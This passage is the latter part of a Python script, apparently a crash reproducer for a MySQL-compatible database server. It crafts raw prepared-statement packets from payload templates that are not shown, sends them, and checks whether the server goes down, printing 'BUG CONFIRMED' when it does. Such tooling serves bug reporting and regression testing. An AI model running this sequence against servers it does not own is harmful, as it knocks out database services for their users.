        off = 1
        _, off = read_lenenc(payload, off)
        _, off = read_lenenc(payload, off)
        if off + 2 <= len(payload):
            return payload[off] | (payload[off + 1] << 8)
    return 0


def parse_err_packet(payload):
    if len(payload) < 4 or payload[0] != 0xFF:
        return "not an ERR packet"
    errno = struct.unpack_from("<H", payload, 1)[0]
    if len(payload) > 9 and payload[3:4] == b"#":
        msg = payload[9:].decode("utf-8", errors="replace")
    else:
        msg = payload[3:].decode("utf-8", errors="replace")
    return f"errno={errno}: {msg}"


def reconnect_fails(args):
    time.sleep(1.0)
    try:
        conn = connect(args, timeout=3)
        conn.close()
        return False
    except Exception as exc:
        print(f"[+] Reconnect failed: {exc}")
        return True


def report_disconnect(args, where, exc):
    print(f"[!!!] Connection lost while waiting for {where}: {exc}")
    if reconnect_fails(args):
        print("[!!!] BUG CONFIRMED: server appears to be down")
        return True
    print("[~] Reconnect succeeded; this looks like a connection-level failure only")
    return False


def build_execute_packet(stmt_id, template):
    payload = bytearray(template)
    struct.pack_into("<I", payload, 1, stmt_id)
    return bytes(payload)


def drain_prepare_metadata(sock, first):
    if not first:
        raise ConnectionError("empty PREPARE response")
    if first[0] == 0xFF:
        raise RuntimeError("PREPARE returned ERR: " + parse_err_packet(first))
    if first[0] != 0x00 or len(first) < 12:
        raise RuntimeError("unexpected PREPARE response: " + first[:32].hex())

    stmt_id = struct.unpack_from("<I", first, 1)[0]
    num_columns = struct.unpack_from("<H", first, 5)[0]
    num_params = struct.unpack_from("<H", first, 7)[0]
    print(f"    stmt_id={stmt_id}, num_params={num_params}, num_columns={num_columns}")

    for _ in range(num_params):
        read_mysql_packet(sock)
    if num_params:
        read_mysql_packet(sock)
    for _ in range(num_columns):
        read_mysql_packet(sock)
    if num_columns:
        read_mysql_packet(sock)
    return stmt_id


def send_prepare(args, sock):
    payload = b"\x16" + PREPARE_SQL.encode("utf-8")
    print(f"[*] COM_STMT_PREPARE: {len(payload)} bytes")
    send_mysql_packet(sock, payload, seq=0)
    try:
        _, first = read_mysql_packet(sock)
        return drain_prepare_metadata(sock, first)
    except (socket.timeout, ConnectionError, OSError) as exc:
        if report_disconnect(args, "COM_STMT_PREPARE", exc):
            return None
        raise


def drain_rows(sock, binary):
    while True:
        _, pkt = read_mysql_packet(sock)
        if not pkt:
            raise ConnectionError("empty row packet")
        if pkt[0] == 0xFF:
            print("    ERR:", parse_err_packet(pkt))
            return
        if pkt[0] == 0xFE and len(pkt) < 9:
            if status_flags(pkt) & SERVER_MORE_RESULTS_EXISTS:
                drain_result(sock, binary=False)
            return


def drain_resultset(sock, first, binary, has_cursor):
    column_count, _ = read_lenenc(first, 0)
    for _ in range(column_count):
        read_mysql_packet(sock)
    read_mysql_packet(sock)
    if has_cursor:
        return
    drain_rows(sock, binary)


def drain_result(sock, binary=False, has_cursor=False):
    _, first = read_mysql_packet(sock)
    if not first:
        raise ConnectionError("empty response packet")
    if first[0] == 0xFF:
        print("    ERR:", parse_err_packet(first))
        return
    if first[0] == 0x00 or (first[0] == 0xFE and len(first) < 9):
        if status_flags(first) & SERVER_MORE_RESULTS_EXISTS:
            drain_result(sock, binary=False)
        return
    drain_resultset(sock, first, binary, has_cursor)


def send_execute(args, sock, stmt_id, index):
    payload = build_execute_packet(stmt_id, EXECUTE_PAYLOADS[index])
    flags = payload[5]
    has_cursor = bool(flags & 0x07)
    print(f"[*] COM_STMT_EXECUTE #{index + 1}: flags=0x{flags:02x}, payload_len={len(payload)}")
    send_mysql_packet(sock, payload, seq=0)
    try:
        drain_result(sock, binary=True, has_cursor=has_cursor)
    except (socket.timeout, ConnectionError, OSError) as exc:
        return report_disconnect(args, "COM_STMT_EXECUTE", exc)
    return False


def run_protocol_sequence(args):
    conn = connect(args, database=args.database)
    sock = conn._socket.sock
    sock.settimeout(args.timeout)
    stmt_id = None
    try:
        for step in STEPS:
            kind = step[0]
            if kind == "prepare":
                stmt_id = send_prepare(args, sock)
                if stmt_id is None:
                    return 0
            elif kind == "execute":
                if stmt_id is None:
                    raise RuntimeError("COM_STMT_EXECUTE requested before COM_STMT_PREPARE")
                if send_execute(args, sock, stmt_id, step[1]):
                    return 0
            else:
                raise RuntimeError(f"unknown step: {kind}")
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if reconnect_fails(args):
        print("[!!!] BUG CONFIRMED: server appears to be down after the sequence")
        return 0
    print("[~] Sequence completed without a confirmed server crash")
    return 1


def main():
    parser = argparse.ArgumentParser(description=SCRIPT_DESCRIPTION)
    parser.add_argument("-H", "--host", default=DEFAULT_HOST, metavar="<host>")
    parser.add_argument("-P", "--port", type=int, default=DEFAULT_PORT, metavar="<port>")
    parser.add_argument("-u", "--user", default=DEFAULT_USER, metavar="<user>")
    parser.add_argument("-p", "--password", default=DEFAULT_PASSWORD, metavar="<password>")
    parser.add_argument("-d", "--database", default=DEFAULT_DATABASE, metavar="<database>")
    parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT, metavar="<seconds>")
    args = parser.parse_args()

    apply_setup_sql(args)
    return run_protocol_sequence(args)


if __name__ == "__main__":
    sys.exit(main())
